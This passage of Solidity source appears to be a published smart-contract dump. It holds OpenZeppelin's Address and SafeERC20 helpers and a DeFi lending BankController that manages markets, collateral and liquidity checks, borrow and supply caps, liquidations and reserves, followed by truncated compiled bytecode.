value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // SPDX-License-Identifier: MIT enum RewardType { DefaultType, Deposit, Borrow, Withdraw, Repay, Liquidation, TokenIn, //入金,为还款和存款的组合 TokenOut //出金, 为取款和借款的组合 } // SPDX-License-Identifier: MIT interface IBank { function MonitorEventCallback(bytes32 funcName, bytes calldata payload) external; function deposit(address token, uint256 amount) external payable; function borrow(address token, uint256 amount) external; function withdraw(address underlying, uint256 withdrawTokens) external; function withdrawUnderlying(address underlying, uint256 amount) external; function repay(address token, uint256 amount) external payable; function liquidateBorrow( address borrower, address underlyingBorrow, address underlyingCollateral, uint256 repayAmount ) external payable; function tokenIn(address token, uint256 amountIn) external payable; function tokenOut(address token, uint256 amountOut) external; function cancellingOut(address token) external; function paused() external view returns (bool); } // reward token pool interface (FOR) interface IRewardPool { function theForceToken() external view returns (address); function bankController() external view returns (address); function admin() external view returns (address); function deposit(uint256 amount) external; function withdraw(uint256 amount) external; function withdraw() external; function setTheForceToken(address _theForceToken) external; function setBankController(address _bankController) external; function reward(address who, uint256 amount) external; } /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: MIT contract BankController is Exponential, Initializable { using SafeERC20 for IERC20; using SafeMath for uint256; struct Market { // 原生币种对应的 fToken 地址 address fTokenAddress; // 币种是否可用 bool isValid; // 该币种所拥有的质押能力 uint256 collateralAbility; // 市场所参与的用户 mapping(address => bool) accountsIn; // 该币种的清算奖励 uint256 liquidationIncentive; } // 原生币种地址 => 币种信息 mapping(address => Market) public markets; address public bankEntryAddress; // bank主合约入口地址 address public theForceToken; // 奖励的FOR token地址 //返利百分比,根据用户存,借,取,还花费的gas返还对应价值比例的奖励token, 奖励FOR数量 = ETH价值 * rewardFactor / price(for), 1e18 scale mapping(uint256 => uint256) public rewardFactors; // RewardType ==> rewardFactor (1e18 scale); // 用户地址 =》 币种地址(用户参与的币种) mapping(address => IFToken[]) public accountAssets; IFToken[] public allMarkets; address[] public allUnderlyingMarkets; IOracle public oracle; address public mulsig; //FIXME: 统一权限管理 modifier auth { require( msg.sender == admin || msg.sender == bankEntryAddress, "msg.sender need admin or bank" ); _; } function setBankEntryAddress(address _newBank) external auth { bankEntryAddress = _newBank; } function setTheForceToken(address _theForceToken) external auth { theForceToken = _theForceToken; } function setRewardFactorByType(uint256 rewaradType, uint256 factor) external auth { rewardFactors[rewaradType] = factor; } function marketsContains(address fToken) public view returns (bool) { uint256 len = allMarkets.length; for (uint256 i = 0; i < len; ++i) { if (address(allMarkets[i]) == fToken) { return true; } } return false; } uint256 public closeFactor; address public admin; address public proposedAdmin; // 将FOR奖励池单独放到另外一个合约中 address public rewardPool; uint256 public transferEthGasCost; // @notice Borrow caps enforced by borrowAllowed for each token address. Defaults to zero which corresponds to unlimited borrowing. mapping(address => uint) public borrowCaps; // @notice Supply caps enforced by mintAllowed for each token address. Defaults to zero which corresponds to unlimited supplying. mapping(address => uint) public supplyCaps; // 原生token的存,借,取,取,还和清算配置设置 struct TokenConfig { bool depositDisabled; //存款:true:禁用,false: 启用 bool borrowDisabled;// 借款 bool withdrawDisabled;// 取款 bool repayDisabled; //还款 bool liquidateBorrowDisabled;//清算 } //underlying => TokenConfig mapping (address => TokenConfig) public tokenConfigs; // _setMarketBorrowSupplyCaps = _setMarketBorrowCaps + _setMarketSupplyCaps function _setMarketBorrowSupplyCaps(address[] calldata tokens, uint[] calldata newBorrowCaps, uint[] calldata newSupplyCaps) external { require(msg.sender == admin, "only admin can set borrow/supply caps"); uint numMarkets = tokens.length; uint numBorrowCaps = newBorrowCaps.length; uint numSupplyCaps = newSupplyCaps.length; require(numMarkets != 0 && numMarkets == numBorrowCaps && numMarkets == numSupplyCaps, "invalid input"); for(uint i = 0; i < numMarkets; i++) { borrowCaps[tokens[i]] = newBorrowCaps[i]; supplyCaps[tokens[i]] = newSupplyCaps[i]; } } function setTokenConfig( address t, bool _depositDisabled, bool _borrowDisabled, bool _withdrawDisabled, bool _repayDisabled, bool _liquidateBorrowDisabled) external { require(msg.sender == admin, "only admin can set token configs"); tokenConfigs[t] = TokenConfig( _depositDisabled, _borrowDisabled, _withdrawDisabled, _repayDisabled, _liquidateBorrowDisabled ); } function initialize(address _mulsig) public initializer { admin = msg.sender; mulsig = _mulsig; transferEthGasCost = 5000; } modifier onlyMulSig { require(msg.sender == mulsig, "require admin"); _; } modifier onlyAdmin { require(msg.sender == admin, "require admin"); _; } modifier onlyFToken(address fToken) { require(marketsContains(fToken), "only supported fToken"); _; } event AddTokenToMarket(address underlying, address fToken); function proposeNewAdmin(address admin_) external onlyMulSig { proposedAdmin = admin_; } function claimAdministration() external { require(msg.sender == proposedAdmin, "Not proposed admin."); admin = proposedAdmin; proposedAdmin = address(0); } // 获取原生 token 对应的 fToken 地址 function getFTokeAddress(address underlying) public view returns (address) { return markets[underlying].fTokenAddress; } /** * @notice Returns the assets an account has entered 返回该账户已经参与的币种 * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (IFToken[] memory) { IFToken[] memory assetsIn = accountAssets[account]; return assetsIn; } function checkAccountsIn(address account, IFToken fToken) external view returns (bool) { return markets[IFToken(address(fToken)).underlying()].accountsIn[account]; } function userEnterMarket(IFToken fToken, address borrower) internal { Market storage marketToJoin = markets[fToken.underlying()]; require(marketToJoin.isValid, "Market not valid"); if (marketToJoin.accountsIn[borrower]) { return; } marketToJoin.accountsIn[borrower] = true; accountAssets[borrower].push(fToken); } function transferCheck( address fToken, address src, address dst, uint256 transferTokens ) external onlyFToken(msg.sender) { withdrawCheck(fToken, src, transferTokens); userEnterMarket(IFToken(fToken), dst); } function withdrawCheck( address fToken, address withdrawer, uint256 withdrawTokens ) public view returns (uint256) { address underlying = IFToken(fToken).underlying(); require( markets[underlying].isValid, "Market not valid" ); require(!tokenConfigs[underlying].withdrawDisabled, "withdraw disabled"); (uint256 sumCollaterals, uint256 sumBorrows) = getUserLiquidity( withdrawer, IFToken(fToken), withdrawTokens, 0 ); require(sumCollaterals >= sumBorrows, "Cannot withdraw tokens"); } // 接收转账 function transferIn( address account, address underlying, uint256 amount ) public payable { require(msg.sender == bankEntryAddress || msg.sender == account, "auth failed"); if (underlying != EthAddressLib.ethAddress()) { require(msg.value == 0, "ERC20 do not accecpt ETH."); uint256 balanceBefore = IERC20(underlying).balanceOf(address(this)); IERC20(underlying).safeTransferFrom(account, address(this), amount); uint256 balanceAfter = IERC20(underlying).balanceOf(address(this)); require( balanceAfter - balanceBefore == amount, "TransferIn amount not valid" ); // erc 20 => transferFrom } else { // 接收 eth 转账,已经通过 payable 转入 require(msg.value >= amount, "Eth value is not enough"); if (msg.value > amount) { //send back excess ETH uint256 excessAmount = msg.value.sub(amount); //solium-disable-next-line (bool result, ) = account.call{ value: excessAmount, gas: transferEthGasCost }(""); require(result, "Transfer of ETH failed"); } } } // 向用户转账 function transferToUser( address underlying, address payable account, uint256 amount ) external onlyFToken(msg.sender) { require( markets[IFToken(msg.sender).underlying()].isValid, "TransferToUser not allowed" ); transferToUserInternal(underlying, account, amount); } function transferToUserInternal( address underlying, address payable account, uint256 amount ) internal { if (underlying != EthAddressLib.ethAddress()) { // erc 20 // ERC20(token).safeTransfer(user, _amount); IERC20(underlying).safeTransfer(account, amount); } else { (bool result, ) = account.call{ value: amount, gas: transferEthGasCost }(""); require(result, "Transfer of ETH failed"); } } //1:1返还 function calcRewardAmount( uint256 gasSpend, uint256 gasPrice, address _for ) public view returns (uint256) { (uint256 _ethPrice, bool _ethValid) = fetchAssetPrice( EthAddressLib.ethAddress() ); (uint256 _forPrice, bool _forValid) = fetchAssetPrice(_for); if (!_ethValid || !_forValid || IERC20(_for).decimals() != 18) { return 0; } return gasSpend.mul(gasPrice).mul(_ethPrice).div(_forPrice); } //0.5 * 1e18, 表返还0.5ETH价值的FOR //1.5 * 1e18, 表返还1.5倍ETH价值的FOR function calcRewardAmountByFactor( uint256 gasSpend, uint256 gasPrice, address _for, uint256 factor ) public view returns (uint256) { return calcRewardAmount(gasSpend, gasPrice, _for).mul(factor).div(1e18); } function setRewardPool(address _rewardPool) external onlyAdmin { rewardPool = _rewardPool; } function setTransferEthGasCost(uint256 _transferEthGasCost) external onlyAdmin { transferEthGasCost = _transferEthGasCost; } function rewardForByType( address account, uint256 gasSpend, uint256 gasPrice, uint256 rewardType ) external auth { /* uint256 amount = calcRewardAmountByFactor( gasSpend, gasPrice, theForceToken, rewardFactors[rewardType] ); amount = SafeMath.min( amount, IERC20(theForceToken).balanceOf(rewardPool) ); if (amount > 0) { IRewardPool(rewardPool).reward(account, amount); } */ } // 获取实际原生代币的余额 function getCashPrior(address underlying) public view returns (uint256) { IFToken fToken = IFToken(getFTokeAddress(underlying)); return fToken.totalCash(); } // 获取将要更新后的原生代币的余额(预判) function getCashAfter(address underlying, uint256 transferInAmount) external view returns (uint256) { return getCashPrior(underlying).add(transferInAmount); } function mintCheck(address underlying, address minter, uint256 amount) external { require( markets[IFToken(msg.sender).underlying()].isValid, "MintCheck fails" ); require(markets[underlying].isValid, "Market not valid"); require(!tokenConfigs[underlying].depositDisabled, "deposit disabled"); uint supplyCap = supplyCaps[underlying]; // Supply cap of 0 corresponds to unlimited supplying if (supplyCap != 0) { uint totalSupply = IFToken(msg.sender).totalSupply(); uint _exchangeRate = IFToken(msg.sender).exchangeRateStored(); // 兑换率乘总发行ftoken数量,得到原生token数量 uint256 totalUnderlyingSupply = mulScalarTruncate(_exchangeRate, totalSupply); uint nextTotalUnderlyingSupply = totalUnderlyingSupply.add(amount); require(nextTotalUnderlyingSupply < supplyCap, "market supply cap reached"); } if (!markets[underlying].accountsIn[minter]) { userEnterMarket(IFToken(getFTokeAddress(underlying)), minter); } } function borrowCheck( address account, address underlying, address fToken, uint256 borrowAmount ) external { address underlying = IFToken(msg.sender).underlying(); require( markets[underlying].isValid, "BorrowCheck fails" ); require(!tokenConfigs[underlying].borrowDisabled, "borrow disabled"); uint borrowCap = borrowCaps[underlying]; // Borrow cap of 0 corresponds to unlimited borrowing if (borrowCap != 0) { uint totalBorrows = IFToken(msg.sender).totalBorrows(); uint nextTotalBorrows = totalBorrows.add(borrowAmount); require(nextTotalBorrows < borrowCap, "market borrow cap reached"); } require(markets[underlying].isValid, "Market not valid"); (, bool valid) = fetchAssetPrice(underlying); require(valid, "Price is not valid"); if (!markets[underlying].accountsIn[account]) { userEnterMarket(IFToken(getFTokeAddress(underlying)), account); } // 校验用户流动性,liquidity (uint256 sumCollaterals, uint256 sumBorrows) = getUserLiquidity( account, IFToken(fToken), 0, borrowAmount ); require(sumBorrows > 0, "borrow value too low"); require(sumCollaterals >= sumBorrows, "insufficient liquidity"); } function repayCheck(address underlying) external view { require(markets[underlying].isValid, "Market not valid"); require(!tokenConfigs[underlying].repayDisabled, "repay disabled"); } // 获取用户总体的存款和借款情况 function getTotalDepositAndBorrow(address account) public view returns (uint256, uint256) { return getUserLiquidity(account, IFToken(0), 0, 0); } // 获取账户流动性 function getAccountLiquidity(address account) public view returns (uint256 liquidity, uint256 shortfall) { (uint256 sumCollaterals, uint256 sumBorrows) = getUserLiquidity( account, IFToken(0), 0, 0 ); // These are safe, as the underflow condition is checked first if (sumCollaterals > sumBorrows) { return (sumCollaterals - sumBorrows, 0); } else { return (0, sumBorrows - sumCollaterals); } } // 不包含FToken的流动性 /* function getAccountLiquidityExcludeDeposit(address account, address token) public view returns (uint256, uint256) { IFToken fToken = IFToken(getFTokeAddress(token)); (uint256 sumCollaterals, uint256 sumBorrows) = getUserLiquidity( account, fToken, fToken.balanceOf(account), //用户的fToken数量 0 ); // These are safe, as the underflow condition is checked first if (sumCollaterals > sumBorrows) { return (sumCollaterals - sumBorrows, 0); } else { return (0, sumBorrows - sumCollaterals); } } */ // Get price of oracle function fetchAssetPrice(address token) public view returns (uint256, bool) { require(address(oracle) != address(0), "oracle not set"); return oracle.get(token); } function setOracle(address _oracle) external onlyAdmin { oracle = IOracle(_oracle); } function _supportMarket( IFToken fToken, uint256 _collateralAbility, uint256 _liquidationIncentive ) public onlyAdmin { address underlying = fToken.underlying(); require(!markets[underlying].isValid, "martket existed"); markets[underlying] = Market({ isValid: true, collateralAbility: _collateralAbility, fTokenAddress: address(fToken), liquidationIncentive: _liquidationIncentive }); addTokenToMarket(underlying, address(fToken)); } function addTokenToMarket(address underlying, address fToken) internal { for (uint256 i = 0; i < allUnderlyingMarkets.length; i++) { require( allUnderlyingMarkets[i] != underlying, "token exists" ); require(allMarkets[i] != IFToken(fToken), "token exists"); } allMarkets.push(IFToken(fToken)); allUnderlyingMarkets.push(underlying); emit AddTokenToMarket(underlying, fToken); } function _setCollateralAbility( address underlying, uint256 newCollateralAbility ) external onlyAdmin { require(markets[underlying].isValid, "Market not valid"); Market storage market = markets[underlying]; market.collateralAbility = newCollateralAbility; } function setCloseFactor(uint256 _closeFactor) external onlyAdmin { closeFactor = _closeFactor; } // 设置某币种的交易状态,禁止存借取还,清算和转账。 function setMarketIsValid(address underlying, bool isValid) external onlyAdmin { Market storage market = markets[underlying]; market.isValid = isValid; } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() external view returns (IFToken[] memory) { return allMarkets; } function seizeCheck(address cTokenCollateral, address cTokenBorrowed) external view { require(!IBank(bankEntryAddress).paused(), "system paused!"); require( markets[IFToken(cTokenCollateral).underlying()].isValid && markets[IFToken(cTokenBorrowed).underlying()].isValid && marketsContains(cTokenCollateral) && marketsContains(cTokenBorrowed), "Seize market not valid" ); } struct LiquidityLocals { uint256 sumCollateral; uint256 sumBorrows; uint256 fTokenBalance; uint256 borrowBalance; uint256 exchangeRate; uint256 oraclePrice; uint256 collateralAbility; uint256 collateral; } function getUserLiquidity( address account, IFToken fTokenNow, uint256 withdrawTokens, uint256 borrowAmount ) public view returns (uint256, uint256) { // 用户参与的每个币种 IFToken[] memory assets = accountAssets[account]; LiquidityLocals memory vars; // 对于每个币种 for (uint256 i = 0; i < assets.length; i++) { IFToken asset = assets[i]; // 获取 fToken 的余额和兑换率 (vars.fTokenBalance, vars.borrowBalance, vars.exchangeRate) = asset .getAccountState(account); // 该币种的质押率 vars.collateralAbility = markets[asset.underlying()] .collateralAbility; // 获取币种价格 (uint256 oraclePrice, bool valid) = fetchAssetPrice( asset.underlying() ); require(valid, "Price is not valid"); vars.oraclePrice = oraclePrice; uint256 fixUnit = calcExchangeUnit(address(asset)); uint256 exchangeRateFixed = mulScalar(vars.exchangeRate, fixUnit); vars.collateral = mulExp3( vars.collateralAbility, exchangeRateFixed, vars.oraclePrice ); vars.sumCollateral = mulScalarTruncateAddUInt( vars.collateral, vars.fTokenBalance, vars.sumCollateral ); vars.borrowBalance = vars.borrowBalance.mul(fixUnit); vars.sumBorrows = mulScalarTruncateAddUInt( vars.oraclePrice, vars.borrowBalance, vars.sumBorrows ); // 借款和取款的时候,将当前要操作的数量,直接计算在账户流动性里面 if (asset == fTokenNow) { // 取款 vars.sumBorrows = mulScalarTruncateAddUInt( vars.collateral, withdrawTokens, vars.sumBorrows ); borrowAmount = borrowAmount.mul(fixUnit); // 借款 vars.sumBorrows = mulScalarTruncateAddUInt( vars.oraclePrice, borrowAmount, vars.sumBorrows ); } } return (vars.sumCollateral, vars.sumBorrows); } //不包含某一token的流动性 /* function getUserLiquidityExcludeToken( address account, IFToken excludeToken, IFToken fTokenNow, uint256 withdrawTokens, uint256 borrowAmount ) external view returns (uint256, uint256) { // 用户参与的每个币种 IFToken[] memory assets = accountAssets[account]; LiquidityLocals memory vars; // 对于每个币种 for (uint256 i = 0; i < assets.length; i++) { IFToken asset = assets[i]; //不包含token if (address(asset) == address(excludeToken)) { continue; } // 获取 fToken 的余额和兑换率 (vars.fTokenBalance, vars.borrowBalance, vars.exchangeRate) = asset .getAccountState(account); // 该币种的质押率 vars.collateralAbility = markets[asset.underlying()] .collateralAbility; // 获取币种价格 (uint256 oraclePrice, bool valid) = fetchAssetPrice( asset.underlying() ); require(valid, "Price is not valid"); vars.oraclePrice = oraclePrice; uint256 fixUnit = calcExchangeUnit(address(asset)); uint256 exchangeRateFixed = mulScalar( vars.exchangeRate, fixUnit ); vars.collateral = mulExp3( vars.collateralAbility, exchangeRateFixed, vars.oraclePrice ); vars.sumCollateral = mulScalarTruncateAddUInt( vars.collateral, vars.fTokenBalance, vars.sumCollateral ); vars.sumBorrows = mulScalarTruncateAddUInt( vars.oraclePrice, vars.borrowBalance, vars.sumBorrows ); // 借款和取款的时候,将当前要操作的数量,直接计算在账户流动性里面 if (asset == fTokenNow) { // 取款 vars.sumBorrows = mulScalarTruncateAddUInt( vars.collateral, withdrawTokens, vars.sumBorrows ); borrowAmount = borrowAmount.mul(fixUnit); // 借款 vars.sumBorrows = mulScalarTruncateAddUInt( vars.oraclePrice, borrowAmount, vars.sumBorrows ); } } return (vars.sumCollateral, vars.sumBorrows); } */ function tokenDecimals(address token) public view returns (uint256) { return token == EthAddressLib.ethAddress() ? 18 : uint256(IERC20(token).decimals()); } //计算user的取款指定token的最大数量 /* function calcMaxWithdrawAmount(address user, address token) public view returns (uint256) { (uint256 depoistValue, uint256 borrowValue) = getTotalDepositAndBorrow( user ); if (depoistValue <= borrowValue) { return 0; } uint256 netValue = subExp(depoistValue, borrowValue); // redeemValue = netValue / collateralAblility; uint256 redeemValue = divExp( netValue, markets[token].collateralAbility ); (uint256 oraclePrice, bool valid) = fetchAssetPrice(token); require(valid, "Price is not valid"); uint fixUnit = 10 ** SafeMath.abs(18, tokenDecimals(token)); uint256 redeemAmount = divExp(redeemValue, oraclePrice).div(fixUnit); IFToken fToken = IFToken(getFTokeAddress(token)); redeemAmount = SafeMath.min( redeemAmount, fToken.calcBalanceOfUnderlying(user) ); return redeemAmount; } function calcMaxBorrowAmount(address user, address token) public view returns (uint256) { ( uint256 depoistValue, uint256 borrowValue ) = getAccountLiquidityExcludeDeposit(user, token); if (depoistValue <= borrowValue) { return 0; } uint256 netValue = subExp(depoistValue, borrowValue); (uint256 oraclePrice, bool valid) = fetchAssetPrice(token); require(valid, "Price is not valid"); uint fixUnit = 10 ** SafeMath.abs(18, tokenDecimals(token)); uint256 borrowAmount = divExp(netValue, oraclePrice).div(fixUnit); return borrowAmount; } function calcMaxBorrowAmountWithRatio(address user, address token) public view returns (uint256) { IFToken fToken = IFToken(getFTokeAddress(token)); return SafeMath.mul(calcMaxBorrowAmount(user, token), 1e18).div(fToken.borrowSafeRatio()); } function calcMaxCashOutAmount(address user, address token) public view returns (uint256) { return addExp( calcMaxWithdrawAmount(user, token), calcMaxBorrowAmountWithRatio(user, token) ); } */ function isFTokenValid(address fToken) external view returns (bool) { return markets[IFToken(fToken).underlying()].isValid; } function liquidateBorrowCheck( address fTokenBorrowed, address fTokenCollateral, address borrower, address liquidator, uint256 repayAmount ) external onlyFToken(msg.sender) { address underlyingBorrowed = IFToken(fTokenBorrowed).underlying(); address underlyingCollateral = IFToken(fTokenCollateral).underlying(); require(!tokenConfigs[underlyingBorrowed].liquidateBorrowDisabled, "liquidateBorrow: liquidate borrow disabled"); require(!tokenConfigs[underlyingCollateral].liquidateBorrowDisabled, "liquidateBorrow: liquidate colleteral disabled"); (, uint256 shortfall) = getAccountLiquidity(borrower); require(shortfall != 0, "Insufficient shortfall"); userEnterMarket(IFToken(fTokenCollateral), liquidator); uint256 borrowBalance = IFToken(fTokenBorrowed).borrowBalanceStored( borrower ); uint256 maxClose = mulScalarTruncate(closeFactor, borrowBalance); require(repayAmount <= maxClose, "Too much repay"); } function calcExchangeUnit(address fToken) public view returns (uint256) { uint256 fTokenDecimals = uint256(IFToken(fToken).decimals()); uint256 underlyingDecimals = IFToken(fToken).underlying() == EthAddressLib.ethAddress() ? 18 : uint256(IERC20(IFToken(fToken).underlying()).decimals()); return 10**SafeMath.abs(fTokenDecimals, underlyingDecimals); } function liquidateTokens( address fTokenBorrowed, address fTokenCollateral, uint256 actualRepayAmount ) external view returns (uint256) { (uint256 borrowPrice, bool borrowValid) = fetchAssetPrice( IFToken(fTokenBorrowed).underlying() ); (uint256 collateralPrice, bool collateralValid) = fetchAssetPrice( IFToken(fTokenCollateral).underlying() ); require(borrowValid && collateralValid, "Price not valid"); /* * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint256 exchangeRate = IFToken(fTokenCollateral).exchangeRateStored(); uint256 fixCollateralUnit = calcExchangeUnit(fTokenCollateral); uint256 fixBorrowlUnit = calcExchangeUnit(fTokenBorrowed); uint256 numerator = mulExp( markets[IFToken(fTokenCollateral).underlying()] .liquidationIncentive, borrowPrice ); exchangeRate = exchangeRate.mul(fixCollateralUnit); actualRepayAmount = actualRepayAmount.mul(fixBorrowlUnit); uint256 denominator = mulExp(collateralPrice, exchangeRate); uint256 seizeTokens = mulScalarTruncate( divExp(numerator, denominator), actualRepayAmount ); return seizeTokens; } function _setLiquidationIncentive( address underlying, uint256 _liquidationIncentive ) public onlyAdmin { markets[underlying].liquidationIncentive = _liquidationIncentive; } struct ReserveWithdrawalLogStruct { address token_address; uint256 reserve_withdrawed; uint256 cheque_token_value; uint256 loan_interest_rate; uint256 global_token_reserved; } function reduceReserves( address underlying, address payable account, uint256 reduceAmount ) public onlyMulSig { IFToken fToken = IFToken(getFTokeAddress(underlying)); fToken._reduceReserves(reduceAmount); transferToUserInternal(underlying, account, reduceAmount); fToken.subTotalCash(reduceAmount); ReserveWithdrawalLogStruct memory rds = ReserveWithdrawalLogStruct( underlying, reduceAmount, fToken.exchangeRateStored(), fToken.getBorrowRate(), fToken.tokenCash(underlying, address(this)) ); IBank(bankEntryAddress).MonitorEventCallback( "ReserveWithdrawal", abi.encode(rds) ); } function batchReduceReserves( address[] calldata underlyings, address payable account, uint256[] calldata reduceAmounts ) external onlyMulSig { require(underlyings.length == reduceAmounts.length, "length not match"); uint256 n = underlyings.length; for (uint256 i = 0; i < n; i++) { reduceReserves(underlyings[i], account, reduceAmounts[i]); } } function batchReduceAllReserves( address[] calldata underlyings, address payable account ) external onlyMulSig { uint256 n = underlyings.length; for (uint i = 0; i < n; i++) { IFToken fToken = IFToken(getFTokeAddress(underlyings[i])); uint256 amount = SafeMath.min(fToken.totalReserves(), fToken.tokenCash(underlyings[i], address(this))); if (amount > 0) { reduceReserves(underlyings[i], account, amount); } } } function batchReduceAllReserves( address payable account ) external onlyMulSig { uint256 n = allUnderlyingMarkets.length; for (uint i = 0; i < n; i++) { address underlying = allUnderlyingMarkets[i]; IFToken fToken = IFToken(getFTokeAddress(underlying)); uint256 amount = SafeMath.min(fToken.totalReserves(), fToken.tokenCash(underlying, address(this))); if (amount > 0) { reduceReserves(underlying, account, amount); } } } struct ReserveDepositLogStruct { address token_address; uint256 reserve_funded; uint256 cheque_token_value; uint256 loan_interest_rate; uint256 global_token_reserved; } function addReserves(address underlying, uint256 addAmount) external payable { IFToken fToken = IFToken(getFTokeAddress(underlying)); fToken._addReservesFresh(addAmount); transferIn(msg.sender, underlying, addAmount); fToken.addTotalCash(addAmount); ReserveDepositLogStruct memory rds = ReserveDepositLogStruct( underlying, addAmount, fToken.exchangeRateStored(), fToken.getBorrowRate(), fToken.tokenCash(underlying, address(this)) ); IBank(bankEntryAddress).MonitorEventCallback( "ReserveDeposit", abi.encode(rds) ); } }
0x6080604052600436106104685760003560e01c80638de463621161024a578063b507f9f911610139578063dd4b8b7d116100b6578063f35c7f8c1161007a578063f35c7f8c14610d8e578063f851a44014610dae578063fa93b2a514610dc3578063fc1ce70814610de3578063fc99bd9a14610e0357610468565b8063dd4b8b7d14610ced578063ddec280e14610d0d578063de32abd114610d3b578063e4652f4914610d5b578063e47e65a314610d6e57610468565b8063d38120c9116100fd578063d38120c914610c4d578063d3a32bb014610c6d578063d57ba54e14610c8d578063d6079cc614610cad578063dce1544914610ccd57610468565b8063b507f9f914610bcd578063ba9316b714610744578063c062700414610bed578063c4d66de814610c0d578063ce603aad14610c2d57610468565b80639deec7cb116101c7578063a63767461161018b578063a637674614610b36578063abfceffc14610b56578063ad2cb23914610b83578063b0772d0b14610b98578063b4ab15e714610bad57610468565b80639deec7cb14610a965780639ee30be814610ab65780639f77437b14610ad6578063a3f0fa2014610af6578063a53caa1614610b1657610468565b8063941a9b111161020e578063941a9b1114610a0c57806394df6bc414610a2c57806396a13b3214610a4157806396a614d214610a615780639945b8b014610a7657610468565b80638de463621461095c5780638e8f294b1461097c5780638e93aa73146109ac5780638ee573ac146109cc578063903e679c146109ec57610468565b80634b973e9a116103665780637181c0ff116102e35780637ceb4c97116102a75780637ceb4c97146108c75780637dc0d1d0146108e75780637f5cd256146108fc57806380e6791a1461091c57806387dac0cc1461093c57610468565b80637181c0ff1461082757806378238c37146108475780637adbf973146108675780637b94aaac146108875780637cb9ac42146108a757610468565b8063579861291161032a57806357986129146107845780635ec88c79146107a45780636208fc41146107d257806366666aa9146107f25780636ee6bc5b1461080757610468565b80634b973e9a146106ef5780634d7ab6331461070f5780634f9c751e1461072f5780635293ff311461074457806352d84d1e1461076457610468565b80632daecfdf116103f45780633e7829de116103b85780633e7829de1461064f5780634147da131461066f57806344f4b5061461068f5780634751b79c146106af5780634a584432146106cf57610468565b80632daecfdf146105ba5780632